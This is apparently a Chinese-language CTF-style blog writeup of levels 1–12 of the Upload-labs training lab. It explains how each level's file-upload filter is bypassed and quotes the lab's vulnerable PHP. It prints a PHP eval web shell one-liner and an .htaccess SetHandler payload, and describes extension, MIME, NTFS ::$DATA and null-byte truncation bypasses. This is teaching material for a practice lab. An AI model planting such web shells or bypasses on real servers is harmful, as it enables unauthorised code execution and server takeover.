Upload-labs靶场_第1~12关总结
前言
本文章写第1关到12关的writeup,文章中的顺序是按照关卡所涉及到绕过技巧而进行排序,后面13至20关另开文章来总结。下载的靶场版本只有20关,现在有第21关。
Upload-labs靶场的过关方式不唯一,本文章仅供参考。若出现错误,请大佬纠正~
靶场介绍
来自于README.md文件的内容:
upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。靶场下载链接: https://github.com/c0ny1/upload-labs.
环境: Window2003作为服务器,集成环境phpStudy2018
Tip: php的版本不能太高,否则会导致某些关卡无法进行漏洞利用,博主是使用php的5.2.17版本,并且服务器是window2003并未在Linux环境下进行测试。
/* * * * * * * * * * * * 所使用的一句话木马 * * * * * * * * * * * */
<?php phpinfo(); @eval($_POST['shell']); ?>
第1至12关
客户端
第1关中,在客户端,即浏览器,利用JavaScript语言来对用户上传的文件进行检测,因此这种机制较为容易攻击。
在靶场第一关就给出该类型的文件上传漏洞:修改前端JS代码即可成功上传代码
服务端
一、黑名单过滤
1:在第3以及第4关中利用特殊后缀来进行绕过。
1.1:第3关,后端服务器只过滤了四种常见后缀,因此可以利用php3或者php5后缀来上传木马文件,从而达到get shell。
Tip:
靶场环境是由phpStudy所搭建而成,http-conf文件默认是注释掉php3,php5和phtml等后缀,因此服务端无法解析到这些后缀的文件(但能成功上传,却无法利用菜刀或者蚁剑连接,即getshell失败),所以需要修改配置文件。
学习链接:
https://blog.csdn.net/qq_43480081/article/details/102504348
部分源码如下,完整源码请自行查看
...
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
...
}
1.2:而第4关利用.htaccess文件来使得upload文件夹中的所有文件都会以php的方式进行解析,因此把shell.php的后缀名改成shell.png,最终服务器都会将shell.png以php的方式进行解析
百度百科:
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
1.2.1 先在本地编写.htaccess文件,文件内容如下,并且上传至服务器。上传成功后,上传木马文件,将后缀改成允许的后缀名即可利用工具来getshell。
.htaccess文件内容:
SetHandler application/x-httpd-php
2:第5关大小写绕过
2.1:从源码分析得出,虽有黑名单但未进行后缀名大小写转化,因此第5关利用大小写绕过来上传木马文件。
部分源码如下,完整源码请自行查看
...
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = ... //黑名单数组
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
...
} else {
...
}
} else {
...
}
}
3:第6关空格绕过
3.1:从源码分析得出,虽有黑名单但未进行前后空格进行处理,因此第6关利用空格进行绕过。
部分源码如下,完整源码请自行查看
...
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = ... //黑名单数组
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
...
} else {
...
}
} else {
...
}
}
4:第7关点绕过以及第9关的点空绕过
4.1:从第7关的源码分析得出,虽有黑名单但未进行点进行处理,因此第7关利用点绕过。
部分源码如下,完整源码请自行查看
...
...
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = ..黑名单数组
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
...
} else {
...
}
} else {.
...
}
}
4.2:从第9关的源码分析得出,可以利用点空来进行绕过,因为程序先处理字符串中最后一位点,再获取后缀名。
部分源码如下,完整源码请自行查看
...
...
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = ..黑名单数组
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
...
} else {
...
}
} else {.
...
}
}
5:第8关::$DATA绕过
5.1:分析第8关的源码可以得出,程序再检验的时候并未对::$DATA进行过滤,因此可以利用Window文件系统NTFS的特性来进行绕过。(目的让服务器不检查后缀从而达到绕过的效果)
来自某位大佬的博客:
这道题利用的是Windows下NTFS文件系统的一个特性,即NTFS文件系统的存储数据流的一个属性 DATA 时,就是请求 a.asp 本身的数据,如果a.asp 还包含了其他的数据流,比如 a.asp:lake2.asp,请求 a.asp:lake2.asp::$DATA,则是请求a.asp中的流数据lake2.asp的流数据内容。(小白的我还是懵懂,如果有大佬能通俗易懂地给我讲解一下,将感激不尽)
部分源码如下,完整源码请自行查看
...
...
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = ... //黑名单数组
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
...
} else {
...
}
} else {.
...
}
}
6:第10关双重后缀名绕过
6.1:分析第10关的源码可以得知,程序将出现再黑名单数组中的字符串代替成空字符串,因此可以用双重后缀名来达到绕过效果,例如phPHPp替换字符串后变成了php。
部分源码如下,完整源码请自行查看
...
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = ... //黑名单数组
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
...
} else {
...
}
}
二、白名单过滤
1:修改头部中的MIME值。
1.1:第2关,后端程序通过检测请求头部中MIME属性的值从而来判断用户上传的文件是否为图片。因此利用Burp Suite来修改Request中的MIME属性从而绕过检测。
部分源码如下,完整源码请自行查看
...
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
2:字符截断
2.1:当读取到字符串的结束符的时候,字符串将会被认为处理完毕即使后面存在字符。比如在C语言当中字符串" abc\0123",当程序读取结束字符"\0"时,即认为字符串已经读取完毕从而停止继续读取,最终字符串为"abc\0"。在第11和12关中就是利用该特性,路径可控的情况下进行字符截断。
Tip:
在这俩关中,需把php-in配置文件中的magic_quotes_gpc修改成Off才可以进行字符截断利用。magic_quotes_gpc在On的情况下,后端将会把输入的空字符即%00以及0x00进行转义,导致无法进行字符截断。
2.2:在第十一关中,Burp Suite抓取报文分析知道,可控路径是通过Get方式传递数据的,因此直接在url中进行截断。
2.2:第十二关和十一关类似,是以POST方式提交数据,因此利用Burp Suite的拦截功能来对请求头进行修改。
总结
学习过程中,对于知识的总结很有必要,特别是知识面比较广以及多的情况下,否则会出现“提笔忘字”的情况。